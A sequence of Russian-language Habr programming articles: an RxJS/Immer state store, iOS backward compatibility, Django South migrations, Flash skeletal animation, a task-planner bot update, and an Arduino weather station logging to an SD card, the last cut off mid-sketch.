=============== За основу возьмем `BehaviorSubjeсt`, который будет моделировать поток изменений состояния `{value: 0} -> {value: 1} -> {value: 2}` и у которого также есть метод `getValue`, с помощью которого можно получить текущее состояние. Если сравнить API `BehaviorSubject` со стором Redux * `getValue() / getState() // получить текущее состояние` * `subscribe() / subscribe() // подписаться на оповещение о новом состоянии` * `next(value) / dispatch(action), replaceReducer(nextReducer) // поменять состояние на новое` можно заметить, что они довольно похожи. Основное отличие как раз в том, что у `BehaviorSubject` вместо `Action/Reducer` новое состояние можно задать методом `next()`. Для упомянутого выше примера со счетчиком, реализация могла бы выглядеть так: **CounterService V1** ``` class CounterServiceV1 { state = new BehaviorSubject({value: 0}) increase() { this.state.next({value: this.state.value.value + 1}) } decrease() { this.state.next({value: this.state.value.value - 1}) } } ``` В глаза бросается избыточность повторений из `this.state.next` и громоздкость изменения состояния. Это сильно отличается от желаемого результата `state.value += 1` Добавляем Immer =============== Для упрощения изменения иммутабельного состояния воспользуемся библиотекой Immer. Immer позволяет создавать новое иммутабельное состояние за счет мутации текущего. Работает он таким образом: ``` const state = {value: 0} // создаем драфт текущего состояния const draft = createDraft(state) // производим с ним мутабельные изменения draft.value += 1 // получаем новое состояние const newState = finishDraft(draft) ``` ### Связка BehaviorSubject и Immer Обернем использование `BehaviorSubject` и Immer в свой собственный класс и назовем его `RxState`: ``` class RxState { private subject$: BehaviorSubject private currentDraft?: Draft get state() { return this.subject$.value } get state$() { return this.subject$ } get draft(): Draft { if (this.currentDraft !== undefined) { return this.currentDraft } throw new Error("draft doesn't exists") } constructor(readonly initialState: TState) { this.subject$ = new BehaviorSubject(initialState) } public updateState(recipe: (draft: Draft) => void) { let topLevelUpdate = false // необходим при вызове вложенных updateState if (!this.currentDraft) { this.currentDraft = createDraft(this.state) topLevelUpdate = true } recipe(this.currentDraft) if (!topLevelUpdate) { return } const newState = finishDraft(this.currentDraft, () => {}) as TState this.currentDraft = undefined if (newState !== this.state) { this.subject$.next(newState) } } } ``` Используя `RxState`, перепишем `CounterService`: **CounterService V2** ``` class CounterServiceV2 { state = new RxState({value: 0}) increase() { this.state.updateState(draft => { draft.value += 1 }) } decrease() { this.state.updateState(draft => { draft.value -= 1 }) } } ``` **Diff** ``` - state = new BehaviorSubject({value: 0}) + state = new RxState({value: 0}) increase() { - this.state.next({value: this.state.value.value + 1}) + this.state.updateState(draft => { + draft.value += 1 + }) } decrease() { - this.state.next({value: this.state.value.value - 1}) + this.state.updateState(draft => { + draft.value -= 1 + }) } ``` Смотрится немного лучше первого варианта, но все еще осталась необходимость каждый раз вызывать `updateState`. Для решения этой проблемы создадим еще один класс и назовем его `SimpleImmutableStore`, он будет базовым для сторов. ``` class SimpleImmutableStore { rxState!: RxState get draft() { return this.rxState.draft } constructor(initialState: TState) { this.rxState = new RxState(initialState) } public updateState(recipe: (draft: Draft) => void) { this.rxState.updateState(recipe) } } ``` Реализуем стор с его помощью: **CounterStore V1** ``` class CounterStoreV1 extends SimpleImmutableStore<{value: number}> { constructor(){ super({value: 0}) } increase() { this.updateState(() => { this.draft.value += 1 }) } decrease() { this.updateState(() => { this.draft.value -= 1 }) } } ``` **Diff** ``` -class CounterServiceV2 { - state = new RxState({value: 0}) +class CounterStoreV1 extends SimpleImmutableStore<{value: number}> { + constructor(){ + super({value: 0}) + } increase() { - this.state.updateState(draft => { - draft.value += 1 + this.updateState(() => { + this.draft.value += 1 }) } decrease() { - this.state.updateState(draft => { - draft.value -= 1 + this.updateState(() => { + this.draft.value -= 1 }) } } ``` Как видим существенно ничего не поменялось, но теперь у всех методов есть общий код в виде обертки `this.updateState`. Чтобы избавиться от этого дублирования, напишем функцию, которая оборачивает все методы класса в вызов `updateState`: ``` const wrapped = Symbol() // Для предотвращения двойного оборачивания function getMethodsNames(constructor: any) { const names = Object.getOwnPropertyNames(constructor.prototype).filter( x => x !== "constructor" && typeof constructor.prototype[x] === "function", ) return names } function wrapMethodsWithUpdateState(constructor: any) { if (constructor[wrapped]) { return } constructor[wrapped] = true for (const propertyName of getMethodsNames(constructor)) { const descriptor = Object.getOwnPropertyDescriptor( constructor.prototype, propertyName, )! const method = descriptor.value descriptor.value = function(...args: any[]) { const store = this as SimpleImmutableStore let result: any store.updateState(() => { // оборачиваем вызов метода в updateState result = method.call(store, ...args) }) return result } Object.defineProperty(constructor.prototype, propertyName, descriptor) } } ``` и будем вызывать ее в конструкторе (при желании этот метод также можно реализовать как декоратор для класса) ``` constructor(initialState: TState ) { this.rxState = new RxState(initialState) wrapMethodsWithUpdateState(this.constructor) } ``` **CounterStore** Финальный вариант стора. Для демонстрации добавим немного логики в `decrease` и еще пару методов с передачей параметра `setValue` и асинхронностью `increaseWithDelay`: ``` class CounterStore extends SimpleImmutableStore<{ value: number }> { constructor() { super({value: 0}) } increase() { this.draft.value += 1 } decrease() { const newValue = this.draft.value - 1 if (newValue >= 0) { this.draft.value = newValue } } setValue(value: number) { this.draft.value = value } increaseWithDelay() { setTimeout(() => this.increase(), 300) } } ``` Использование с Angular ======================= Так как в основе получившегося стора лежит RxJS, то с Angular его можно использовать в связке с `async` pipe: ``` {{state.value}} + - Reset Increase with delay ``` [Demo](https://stackblitz.com/edit/angular-yywqyi?file=src%2Fapp%2Fapp.component.ts) ------------------------------------------------------------------------------------ Использование с React ===================== Для React напишем кастомный hook: ``` function useStore( store: SimpleImmutableStore, project: (store: TState) => TResult, ): TResult { const projectRef = useRef(project) useEffect(() => { projectRef.current = project }, [project]) const [state, setState] = useState(projectRef.current(store.rxState.state)) useEffect(() => { const subscription = store.rxState.state$.subscribe(value => { const newState = projectRef.current(value) if (!shallowEqual(state, newState)) { setState(newState) } }) return () => { subscription.unsubscribe() } }, [store, state]) return state } ``` Компонент ``` const Counter = () => { const store = useMemo(() => new CounterStore(), []) const value = useStore(store, x => x.value) return ( {value} store.increase()}>+ store.decrease()}>- store.setValue(0)}>Reset store.increaseWithDelay()}>Increase with delay ) } ``` [Demo](https://stackblitz.com/edit/react-ts-jfudwq?file=index.tsx) ------------------------------------------------------------------ Заключение ========== В результате получилось достаточно простое и функциональное решение, которое я периодически использую в своих проектах. При желании в такой стор можно еще добавить разных полезностей: middleware, state slicing, update rollback — но это уже выходит за рамки данной статьи. С результатом таких добавлений можно ознакомиться на гитхабе **<https://github.com/simmor-store/simmor>** Буду признателен за любые предложения и замечания.
https://habr.com/ru/post/483526/
null
ru
null
# Приложение 3.х на устройстве 2.х Как вам наверно извесно, счастливые обладатели iPod Touch не спешат с обновлением своей игрушки до последней версии. Толи религия не позволяет. Толи потому что обновление платное. Вобщем причина не так важна. Для нас програмистов это выливается в требования вида «Хочу чтобы, поставив приложение на 3.0, мог выбирать песенку и на 2.0 чтобы можно было запустить.» О том как это можно сделать будет описано в этой коротенькой статье. Делается это в 2 шага. 1) Ставим в настройках проекта deployment target в минимальную версию ос, на которой наше приложение будет запускаться: ![](https://habr.com/images/px.gif#%3D%22http%3A%2F%2Fimg249.imageshack.us%2Fimg249%2F8753%2F92877649.png%22) После этого наше приложение будет «слабо» (weak) зависеть от библиотек, которых нет на 2.2.1, но которые мы используем из 3.0: ![](https://habr.com/images/px.gif#%3D%22http%3A%2F%2Fimg300.imageshack.us%2Fimg300%2F2634%2F51281246.png%22) 2) Теперь в тех местах, где используются новые фишки, делаем вот такую проверку: > `- (void) showIpodLibrary > > { > >   Class mpcClass = (NSClassFromString(@"MPMediaPickerController")); > >   if(mpcClass != nil) > >   { > >     MPMediaPickerController \*mpc = [[mpcClass alloc] init]; > >     mpc.allowsPickingMultipleItems = YES; > >     mpc.delegate = (id)self; > >     [rootViewController presentModalViewController:mpc animated:YES]; > >   }   > > } > > > > \* This source code was highlighted with Source Code Highlighter.`   Вот и все :) З.Ы. Забыл упомянуть что компилировать проект нужно под версию сдк 3.х
https://habr.com/ru/post/73882/
null
ru
null
# South — новый клёвый syncdb Я совсем недавно начал работать с Django и меня практически сразу же взбесила ущербная команда syncdb, которая ничего толком не синхронизирует, умеет лишь создавать таблицы для новых моделей. А добавление или удаление полей в уже существующие модели превращается в настоящий pain in ass — приходится «подсматривать» за тем, как ORM создала бы таблицы заново (manage.py sqlall) и вручную делать ALTER TABLE для изменившихся столбцов таблиц. То есть, ORM в Django так или иначе предполагает активный трах с SQL shell, потому что в процессе прототипирования эти поля в моделях изменяются просто пачками. Погуглив, я нашел несколько способов автоматизации изменения схемы БД и в итоге остановился на [South](http://south.aeracode.org). Эта утилита автоматизирует процесс db schema migration. (а название утилиты, насколько я понял, обыгрывает термин «миграция» — ведь зимой все птицы летят на йух :)). Я выбрал South из-за того, что оно хранит историю миграций и можно делать undo/redo, а так же корректировать код миграции руками. Полный туториал можно почитать здесь: [south.aeracode.org/wiki/Tutorial](http://south.aeracode.org/wiki/Tutorial), я лишь вкратце поясню, как оно работает. ### Установка 1. Сливаем svn'ом код утилиты отсюда: <https://svn.aeracode.org/svn/south/trunk> 2. Кладем его в python/lib/site-packages или еще куда-нибудь, где его будет видно 3. В settings.INSTALLED\_APPS добавляем 'south' 4. Делаем привычный manage.py syncdb и видим, что он стал каким-то другим ### Использование Теперь представим ситуацию: в уже существующую модель нам надо добавить пару полей. К примеру, таких: > `class CompanyProduct (models.Model): > > > >   # .. бла-бла, какие-то старые поля .. > > > >   download\_url = models.URLField ( > >     u'Ссылка для скачивания', > >     blank = True, null = True) > > > >   system\_requirements = models.TextField ( > >     u'Системные требования', > >     blank = True, null = True) > > > > \* This source code was highlighted with Source Code Highlighter.` Создаём миграцию: > `python manage.py startmigration [имя_вашего_app] add_download_section > >   --add-field CompanyProduct.download_url > >   --add-field CompanyProduct.system_requirements` > `Creating __init__.py in '[path_to_app]\migrations'... > > Created 0001_add_download_section.py.` Применяем её: > `python manage.py migrate [имя_вашего_app]` > `Running migrations for [имя\_вашего\_app]: > > - Migrating forwards to 0001\_add\_download\_section. > > > [имя\_вашего\_app]: 0001\_add\_download\_section > >   = ALTER TABLE "products" ADD COLUMN "download\_url" varchar(200) NULL; [] > >   = ALTER TABLE "products" ADD COLUMN "system\_requirements" text NULL; [] > > - Loading initial data for [имя\_вашего\_app].` Движимые научным любопытством, смотрим, что нам сгенерил South в 0001\_add\_download\_section.py: > `from south.db import db > > from django.db import models > > from [имя\_вашего\_app].models import \* > > > > class Migration: > >    > >   def forwards(self): > >      > >     # Adding field 'CompanyProduct.download\_url' > >     db.add\_column('products', 'download\_url', > >         models.URLField (u'Ссылка для скачивания', blank = True, null = True)) > >      > >     # Adding field 'CompanyProduct.system\_requirements' > >     db.add\_column('products', 'system\_requirements', > >         models.TextField (u'Системные требования', blank = True, null = True)) > >      > >    > >   def backwards(self): > >      > >     # Deleting field 'CompanyProduct.download\_url' > >     db.delete\_column('products', 'download\_url') > >      > >     # Deleting field 'CompanyProduct.system\_requirements' > >     db.delete\_column('products', 'system\_requirements')` ### Косяк В моём случае напильником пришлось добавить вывод "# coding=utf-8" в начало миграционного скрипта (см. /south/management/commands/startmigration.py, строка 290), иначе он фейлился из-за unicode-строк в нём.
https://habr.com/ru/post/47004/
null
ru
null
# mocap на коленке (Skeletal Animations 2) 12 мая 2007 года Jochen Diehl опубликовал очень интересную статью [«Skeletal Animations»](http://www.gotoandplay.it/_articles/2007/04/skeletal_animation.php#). ![](https://habrastorage.org/r/w1560/files/2c9/cac/f78/2c9cacf78d34442f8eab810dd189b069.png) **Вкратце изложу суть:** 1. в статье не скелетная анимация (в первом же предложении автор так и заявил: «This is no true bones animation») 2. данные для 10-фреймовой анимации представляют собой массив точек (joints) 3. сами точки автор ВРУЧНУЮ (наводя курсор, и выписывая координаты) собрал с записи походки человека. Он использовал 10 фреймов, одинаково распределенных по-времени 4. в процессе проигрывания клипа, анимация сглаживается с помощью интерполяции 5. в конце статьи автор предлагает продолжить его эксперимент: * использовать time based анимацию вместо фреймовой с интерполяцией * записать собственные действия (прыжки, бег...) и попробовать сделать между ними плавные переходы * добавить тени * добавить скелет и сделать ragdoll, умирающий, как в жизни * отписаться на форум **Что привлекло в методе меня:** 1. возможность НЕ углубляться в 3D-моделирование — пусть этим занимаются 3D-моделисты 2. возможность НЕ углубляться в проблематику переноса 3D во флэш — мне для маленьких проектов это ни к чему 3. очень простой метод получать разнообразнейшие действия (actions) для персонажей \* если будет интересно, распишу подробно по-пунктам методику добавления новых движений, персонажей на хабре **Далее:** Первым делом перевел анимацию в time based (тут ничего сложного): ``` public function update(time:Number):void { render(currentFrame); currentFrame+=(actionArray.length*time/actionLoopTime); currentFrame = int(currentFrame*100)/100; if(currentFrame>actionFrameNumber) { currentFrame-=actionFrameNumber; } } ``` А вот дальше, в процессе погружения в метод, понял, что есть еще, как минимум, одна привлекательнейшая (для меня) возможность разнообразить толпу NPC-персонажей на экране. Достаточно ведь просто чуть деформировать первоначальный «скелет» в ключевых кадрах требуемым нам образом, и получать бесконечное множество вариантов фигур и характеров. Например (код можно увидеть в исходниках [Main.handleGUIChange](https://code.google.com/p/meiciucexamples/source/browse/trunk/src/skeletalAnimation/Main.as) — я только суть тут покажу): * укороти ноги и руки (*scale\*point.y; scale\*point.z;*) — получи гнома * удлини руки и ноги (*scale\*point.y; scale\*point.z;*) — получи дядю Стёпу * заузь талию и расширь бедра (*scale\*point.x;*) — получи мужеподобную женщину * заузь плечи и раширь талию (*scale\*point.x;*) — получи женоподобного мужчину * наклони корпус, подогни колени — пригибающийся солдат * наклони корпус, подогни колени, дрожание в суставах — старик * измени амплитуду взмахов руками, ногами — получи новое настроение и все это на основе лишь одной единственной последовательности ключевых кадров (!) **работающий пример, собранный на коленке, можно увидеть [тут](http://meiciuc.com/assets/skeletalAnimation/skeletalAnimation.html)** **код примера [тут](https://code.google.com/p/meiciucexamples/source/browse/trunk/#trunk%2Fsrc%2FskeletalAnimation)** **Замечания:** * анимацию использовал авторскую (Jochen Diehl) * наклоны в моем примере работают препаршивейше — это потому, что я ничего не смыслю в математике и в матрицах поворота в частности. Если какой добрый человек подскажет, как на основании имеющихся данных (дефолтный угол, текущий угол, данные из слайдера) правильно рассчитать результирующую матрицу поворота, я тут же внесу изменения в рабочий код, и добавлю еще кучу всяких возможностей по изменению фигуры **P.S.:** ну вот — оказалось, что ошибки при вычислении результирующей матрицы при «наклонах» была в том, что вместо градусов подставлял в матрицу радианы. Документацию читать надо лучше! Перезаливаю с исправлениями.
https://habr.com/ru/post/238049/
null
ru
null
# Планарий. 10 000 заданий. [![Планарий](http://s1.ipicture.ru/uploads/090205/JBve6WkFRk.png)](http://planary.ru) Вот мы и дожили до первого маленького юбилея — на проекте было создано 10-тысячное задание. Мы решили не сидеть сложа руки и, в честь столь знаменательного события, обновиться. ##### Внешний вид Мы все же решились на этот кардинальный шаг и переделали страницу «планировать на будущее», теперь не надо кататься туда-сюда, а можно прямо из хаоса тащить задание на сегодня. ##### На завтра Да-да-да. Это тоже сделали. Хоть мы и против этого подхода, но все же сделали для вас возможность перетаскивать задания сразу на завтра или на следующую неделю. ##### Форматирование в заметках Там теперь можно использовать [textile](http://ru.wikipedia.org/wiki/Textile). ##### Работа с архивом Теперь можно смотреть не только задания, а так же заметки к ним. Еще появилась возможность удалять или восстанавливать задания из архива. ##### Обновление бота Он теперь много чего умеет. Вот обновленный список команд: \* **на сегодня** <название дела>; <название второго дела>; … <название n-ного дела> \* **на завтра** <название дела>; <название второго дела>; … <название n-ного дела> \* **на неделю** <название дела>; <название второго дела>; … <название n-ного дела> \* **на следующую неделю** <название дела>; <название второго дела>; … <название n-ного дела> \* **в хаос** <название дела>; <название второго дела>; … <название n-ного дела> \* **что делать?** Как видно, добавился пакетный режим. Теперь задания можно добавлять сразу скопом. Так же появилась команда «что делать?» — выведет весь список дел на сегодня. Спасибо Чернышевскому за предоставленный текст =) Отдельным пунктом хочется отметить функцию синонимов. Многие из вас жаловались, что команды длинные и с телефона вводить не удобно. Мы это исправили. Теперь вы сами можете назначать боту команды. Т.е.: Не нравится вам команда «на сегодня», хотели бы вы ее заменить на «today». Легко! `на сегодня -> today` Все, теперь при команде `today купить молоко` бот создаст задание на сегодня. Пустые синонимы тоже поддерживаются. Хотите вводить сразу задания в окно бота без команд? Вперед! `в хаос ->` после стрелочки именно пусто. Это не ошибка. Ограничение лишь одно — синонимы должны состоять из одного слова. ##### P.S. Немного о технологиях (хабр все же =) Хотелось бы поделиться с молодыми рубистами опытом. Многие из вас знают, что предыдущий бот был регистрозависимый. И многих это бесило. Поэтому решил я разобраться с этой проблемой. Сначала подумал, что фигня. Добавляем ключ «i» к регуляркам и все. Но не тут-то было. Руби 1.8 не совсем дружен с UTF-8. И ключ «i» прекрасно работает с английским языком, а при русской подстановке интерпретатор его просто игнорировал. Начал разбираться, ковырялся-ковырялся. Думал отложить до момента пока руби 1.9 допилят (точнее окружнение допилят до руби 1.9) или команды поменять на английские, но в итоге решение нашлось — oniguruma. делаем `gem install oniguruma`, затем подключаем ее `require 'oniguruma'`, а потом создаем шаблоны регулярок немного извращенным способом: `Oniguruma::ORegexp.new( "(шаблон)", {:options => Oniguruma::OPTION_IGNORECASE, :encoding => Oniguruma::ENCODING_UTF8} )` Вот так вот можно победить регистр для русского языка в руби 1.8. В 1.9 подобных извращений не будет.
https://habr.com/ru/post/52453/
null
ru
null
# Метеостанция на прокачку. Добавим к Ардуине SD карту Мой [предыдущий пост](http://habrahabr.ru/post/241913/) о процессе создания метеостанции на ардуине вызвал положительную реакцию, поэтому я хочу продолжить тему. Представляю вам следующий видео урок где будет рассказано как подключить к ардуинке SD катру, записать на нее данные с датчиков в виде лога, ну и выгрузить эти данные в ком порт. Станция собрана по следующей схеме: ![](https://habrastorage.org/files/568/429/b48/568429b489004561a76cf05f36127a5f.PNG) Первую часть можно посмотреть [здесь](http://habrahabr.ru/post/241913/), а процесс добавления логгирования смотрите: [Проект](http://flprog.ru/images/hostingFiles/23330430.flp), созданный в процессе урока. **Полученный скетч** ``` #include #include "DHT.h" #include #include #include #include #include "RTClib.h" #include BMP085 \_bmp085 = BMP085(); long \_bmp085P = 0; long \_bmp085T = 0; long \_bmp085A = 0; RTC\_DS1307 \_RTC1; DateTime \_tRTC1; File \_sd1DF; String \_sd1TS; LiquidCrystal\_I2C \_lcd1(0x3F, 20, 4); int \_dispTempLength1 = 0; boolean \_isNeedClearDisp1; DHT \_dht1(2, DHT22); byte \_d18x2x1Addr[8] = {0x28, 0xFF, 0x11, 0x94, 0x3C, 0x4, 0x0, 0x48}; OneWire \_ow3(3); String \_gtv1; String \_gtv2; String \_gtv3; String \_gtv4; String \_gtv5; String \_gtv6; bool \_gtv7 = 0; int \_gtv8 = 0; bool \_gtv9 = 0; bool \_gtv10 = 0; bool \_gen1I = 0; bool \_gen1O = 0; unsigned long \_gen1P = 0UL; unsigned long \_d18x2x1Tti = 0UL; float \_d18x2x1O = 0.00; bool \_sd1SVOS1 = 0; unsigned long \_bmp0851Tti = 0UL; bool \_sd1SVOS2 = 0; bool \_sd1SVOS3 = 0; bool \_sd1SVOS4 = 0; unsigned long \_dht1Tti = 0UL; float \_dht1t = 0.00; float \_dht1h = 0.00; bool \_sd1SVOS5 = 0; bool \_sd1SVOS6 = 0; bool \_count1I = 0; int \_count1P = 0; bool \_trgs1 = 0; bool \_D1B1 = 0; bool \_tim1I = 0; bool \_tim1O = 0; unsigned long \_tim1P = 0UL; int \_disp1oldLength = 0; int \_disp2oldLength = 0; String \_mux1; int \_disp3oldLength = 0; String \_mux2; int \_disp4oldLength = 0; String \_mux3; int \_disp5oldLength = 0; bool \_sd1UFOS1 = 0; bool \_bounseInput9S = 0; bool \_bounseInput9O = 0; unsigned long \_bounseInput9P = 0UL; bool \_bounseInput6S = 0; bool \_bounseInput6O = 0; unsigned long \_bounseInput6P = 0UL; bool \_bounseInput4S = 0; bool \_bounseInput4O = 0; unsigned long \_bounseInput4P = 0UL; bool \_bounseInput5S = 0; bool \_bounseInput5O = 0; unsigned long \_bounseInput5P = 0UL; void setup() { Wire.begin(); \_bmp085.init(MODE\_ULTRA\_HIGHRES, 300, true); \_RTC1.begin(); Serial.begin(9600); pinMode(5, INPUT); digitalWrite(5, HIGH); pinMode(4, INPUT); digitalWrite(4, HIGH); pinMode(9, INPUT); digitalWrite(9, HIGH); pinMode(6, INPUT); digitalWrite(6, HIGH); pinMode(7, OUTPUT); \_lcd1.init(); \_lcd1.noBacklight(); \_bounseInput9O = digitalRead(9); \_bounseInput6O = digitalRead(6); \_bounseInput4O = digitalRead(4); \_bounseInput5O = digitalRead(5); \_dht1.begin(); SD.begin(8); SPI.begin(); pinMode(10, OUTPUT); } void loop() { \_tRTC1 = \_RTC1.now(); if (\_isTimer(\_dht1Tti, 8000)) { \_dht1Tti = millis(); float tempDht2; tempDht2 = \_dht1.readTemperature(); if (!(isnan(tempDht2))) { \_dht1t = tempDht2; } tempDht2 = \_dht1.readHumidity(); if (!(isnan(tempDht2))) { \_dht1h = tempDht2; } } if (\_isNeedClearDisp1) { \_lcd1.clear(); \_isNeedClearDisp1 = 0; } if (\_isTimer(\_bmp0851Tti, 6000)) { \_bmp0851Tti = millis(); \_bmp085.getAltitude(&\_bmp085A); \_bmp085.getPressure(&\_bmp085P); \_bmp085.getTemperature(&\_bmp085T); } bool \_bounceTmp9 = (digitalRead (9)); if (\_bounseInput9S) { if (millis() >= (\_bounseInput9P + 40)) { \_bounseInput9O = \_bounceTmp9; \_bounseInput9S = 0; } } else { if (\_bounceTmp9 != \_bounseInput9O ) { \_bounseInput9S = 1; \_bounseInput9P = millis(); } } bool \_bounceTmp6 = (digitalRead (6)); if (\_bounseInput6S) { if (millis() >= (\_bounseInput6P + 40)) { \_bounseInput6O = \_bounceTmp6; \_bounseInput6S = 0; } } else { if (\_bounceTmp6 != \_bounseInput6O ) { \_bounseInput6S = 1; \_bounseInput6P = millis(); } } bool \_bounceTmp4 = (digitalRead (4)); if (\_bounseInput4S) { if (millis() >= (\_bounseInput4P + 40)) { \_bounseInput4O = \_bounceTmp4; \_bounseInput4S = 0; } } else { if (\_bounceTmp4 != \_bounseInput4O ) { \_bounseInput4S = 1; \_bounseInput4P = millis(); } } bool \_bounceTmp5 = (digitalRead (5)); if (\_bounseInput5S) { if (millis() >= (\_bounseInput5P + 40)) { \_bounseInput5O = \_bounceTmp5; \_bounseInput5S = 0; } } else { if (\_bounceTmp5 != \_bounseInput5O ) { \_bounseInput5S = 1; \_bounseInput5P = millis(); } } if (1) { if (! \_gen1I) { \_gen1I = 1; \_gen1O = 1; \_gen1P = millis(); } } else { \_gen1I = 0 ; \_gen1O = 0; } if (\_gen1I ) { if ( \_isTimer ( \_gen1P , 5000 )) { \_gen1P = millis(); \_gen1O = ! \_gen1O; } } digitalWrite(7, !(\_bounseInput9O)); \_gtv10 = (\_gen1O) && (!(\_bounseInput9O)) ; if (\_isTimer(\_d18x2x1Tti, 5000)) { \_d18x2x1Tti = millis(); \_d18x2x1O = \_readDS18\_ow3(\_d18x2x1Addr, 0); } if (\_gtv10) { if (! \_sd1SVOS1) { \_sd1TS = "ds18b20;"; \_sd1TS += "Float;"; \_sd1TS += String(\_tRTC1.day()); \_sd1TS += ":"; \_sd1TS += String(\_tRTC1.month()); \_sd1TS += ":"; \_sd1TS += String(\_tRTC1.year()); \_sd1TS += " "; \_sd1TS += String(\_tRTC1.hour()); \_sd1TS += "-"; \_sd1TS += String(\_tRTC1.minute()); \_sd1TS += "-"; \_sd1TS += String(\_tRTC1.second()); \_sd1TS += ";"; \_sd1TS += ( \_floatToStringWitRaz((\_d18x2x1O), 2)); \_sd1TS += ";"; \_sd1TS += "C"; \_sd1TS += ";"; \_sd1DF = SD.open("test.csv", FILE\_WRITE); if (\_sd1DF) { \_sd1DF.println(\_sd1TS); \_sd1DF.close(); } \_sd1SVOS1 = 1; } } else { if ( \_sd1SVOS1) { \_sd1SVOS1 = 0; } } \_gtv1 = ((String("T-")) + (( \_floatToStringWitRaz((\_d18x2x1O), 2))) + (String("C"))); if (\_gtv10) { if (! \_sd1SVOS4) { \_sd1TS = "bmp085a;"; \_sd1TS += "Integer;"; \_sd1TS += String(\_tRTC1.day()); \_sd1TS += ":"; \_sd1TS += String(\_tRTC1.month()); \_sd1TS += ":"; \_sd1TS += String(\_tRTC1.year()); \_sd1TS += " "; \_sd1TS += String(\_tRTC1.hour()); \_sd1TS += "-"; \_sd1TS += String(\_tRTC1.minute()); \_sd1TS += "-"; \_sd1TS += String(\_tRTC1.second()); \_sd1TS += ";"; \_sd1TS += (String(\_bmp085A)); \_sd1TS += ";"; \_sd1TS += "cm"; \_sd1TS += ";"; \_sd1DF = SD.open("test.csv", FILE\_WRITE); if (\_sd1DF) { \_sd1DF.println(\_sd1TS); \_sd1DF.close(); } \_sd1SVOS4 = 1; } } else { if ( \_sd1SVOS4) { \_sd1SVOS4 = 0; } } if (\_gtv10) { if (! \_sd1SVOS3) { \_sd1TS = "bmp085p;"; \_sd1TS += "Integer;"; \_sd1TS += String(\_tRTC1.day()); \_sd1TS += ":"; \_sd1TS += String(\_tRTC1.month()); \_sd1TS += ":"; \_sd1TS += String(\_tRTC1.year()); \_sd1TS += " "; \_sd1TS += String(\_tRTC1.hour()); \_sd1TS += "-"; \_sd1TS += String(\_tRTC1.minute()); \_sd1TS += "-"; \_sd1TS += String(\_tRTC1.second()); \_sd1TS += ";"; \_sd1TS += (String((\_bmp085P) / (1000))); \_sd1TS += ";"; \_sd1TS += "kPa"; \_sd1TS += ";"; \_sd1DF = SD.open("test.csv", FILE\_WRITE); if (\_sd1DF) { \_sd1DF.println(\_sd1TS); \_sd1DF.close(); } \_sd1SVOS3 = 1; } } else { if ( \_sd1SVOS3) { \_sd1SVOS3 = 0; } } if (\_gtv10) { if (! \_sd1SVOS2) { \_sd1TS = "bmp085t;"; \_sd1TS += "Float;"; \_sd1TS += String(\_tRTC1.day()); \_sd1TS += ":"; \_sd1TS += String(\_tRTC1.month()); \_sd1TS += ":"; \_sd1TS += String(\_tRTC1.year()); \_sd1TS += " "; \_sd1TS += String(\_tRTC1.hour()); \_sd1TS += "-"; \_sd1TS += String(\_tRTC1.minute()); \_sd1TS += "-"; \_sd1TS += String(\_tRTC1.second()); \_sd1TS += ";"; \_sd1TS += ( \_floatToStringWitRaz((\_bmp085T) / (10.00), 2)); \_sd1TS += ";"; \_sd1TS += "C"; \_sd1TS += ";"; \_sd1DF = SD.open("test.csv", FILE\_WRITE); if (\_sd1DF) { \_sd1DF.println(\_sd1TS); \_sd1DF.close(); } \_sd1SVOS2 = 1; } } else { if ( \_sd1SVOS2) { \_sd1SVOS2 = 0; } } \_gtv2 = ((String("T-")) + (( \_floatToStringWitRaz((\_bmp085T) / (10.00), 1))) + (String("C"))); \_gtv3 = ((String("P-")) + ((String((\_bmp085P) / (1000)))) + (String("kPa"))); \_gtv4 = ((String("A")) + ((String(\_bmp085A))) + (String("cm"))); if (\_gtv10) { if (! \_sd1SVOS6) { \_sd1TS = "dht22h;"; \_sd1TS += "Float;"; \_sd1TS += String(\_tRTC1.day()); \_sd1TS += ":"; \_sd1TS += String(\_tRTC1.month()); \_sd1TS += ":"; \_sd1TS += String(\_tRTC1.year()); \_sd1TS += " "; \_sd1TS += String(\_tRTC1.hour()); \_sd1TS += "-"; \_sd1TS += String(\_tRTC1.minute()); \_sd1TS += "-"; \_sd1TS += String(\_tRTC1.second()); \_sd1TS += ";"; \_sd1TS += ( \_floatToStringWitRaz(\_dht1h, 2)); \_sd1TS += ";"; \_sd1TS += "%"; \_sd1TS += ";"; \_sd1DF = SD.open("test.csv", FILE\_WRITE); if (\_sd1DF) { \_sd1DF.println(\_sd1TS); \_sd1DF.close(); } \_sd1SVOS6 = 1; } } else { if ( \_sd1SVOS6) { \_sd1SVOS6 = 0; } } if (\_gtv10) { if (! \_sd1SVOS5) { \_sd1TS = "dht22t;"; \_sd1TS += "Float;"; \_sd1TS += String(\_tRTC1.day()); \_sd1TS += ":"; \_sd1TS += String(\_tRTC1.month()); \_sd1TS += ":"; \_sd1TS += String(\_tRTC1.year()); \_sd1TS += " "; \_sd1TS += String(\_tRTC1.hour()); \_sd1TS += "-"; \_sd1TS += String(\_tRTC1.minute()); \_sd1TS += "-"; \_sd1TS += String(\_tRTC1.second()); \_sd1TS += ";"; \_sd1TS += ( \_floatToStringWitRaz(\_dht1t, 2)); \_sd1TS += ";"; \_sd1TS += "C"; \_sd1TS += ";"; \_sd1DF = SD.open("test.csv", FILE\_WRITE); if (\_sd1DF) { \_sd1DF.println(\_sd1TS); \_sd1DF.close(); } \_sd1SVOS5 = 1; } } else { if ( \_sd1SVOS5) { \_sd1SVOS5 = 0; } } \_gtv5 = ((String("T-")) + (( \_floatToStringWitRaz(\_dht1t, 2))) + (String("C"))); \_gtv6 = ((String("H-")) + (( \_floatToStringWitRaz(\_dht1h, 2))) + (String("%"))); if (!(\_bounseInput5O)) { if (! \_count1I) { \_count1P = \_count1P + 1; \_count1I = 1; } } else { \_count1I = 0; } if (\_count1P < 0 ) \_count1P = 0; if (\_gtv7) \_count1P = 0; \_gtv7 = \_count1P >= 3; \_gtv8 = \_count1P; if ( (!(\_bounseInput4O)) || (!(\_bounseInput5O)) ) \_trgs1 = 1; if (\_gtv9) \_trgs1 = 0; if ( (\_trgs1) && (\_bounseInput5O) ) { if (\_tim1I) { if ( \_isTimer(\_tim1P, 20000)) \_tim1O = 1; } else { \_tim1I = 1; \_tim1P = millis(); } } else { \_tim1O = 0; \_tim1I = 0; } if (\_trgs1) { if (! \_D1B1) { \_lcd1.backlight(); \_D1B1 = 1; } } else { if (\_D1B1) { \_lcd1.noBacklight(); \_D1B1 = 0; } } \_gtv9 = \_tim1O; if (1) { \_dispTempLength1 = (((((String((\_tRTC1.hour())))) + (String(":")) + ((String((\_tRTC1.minute())))) + 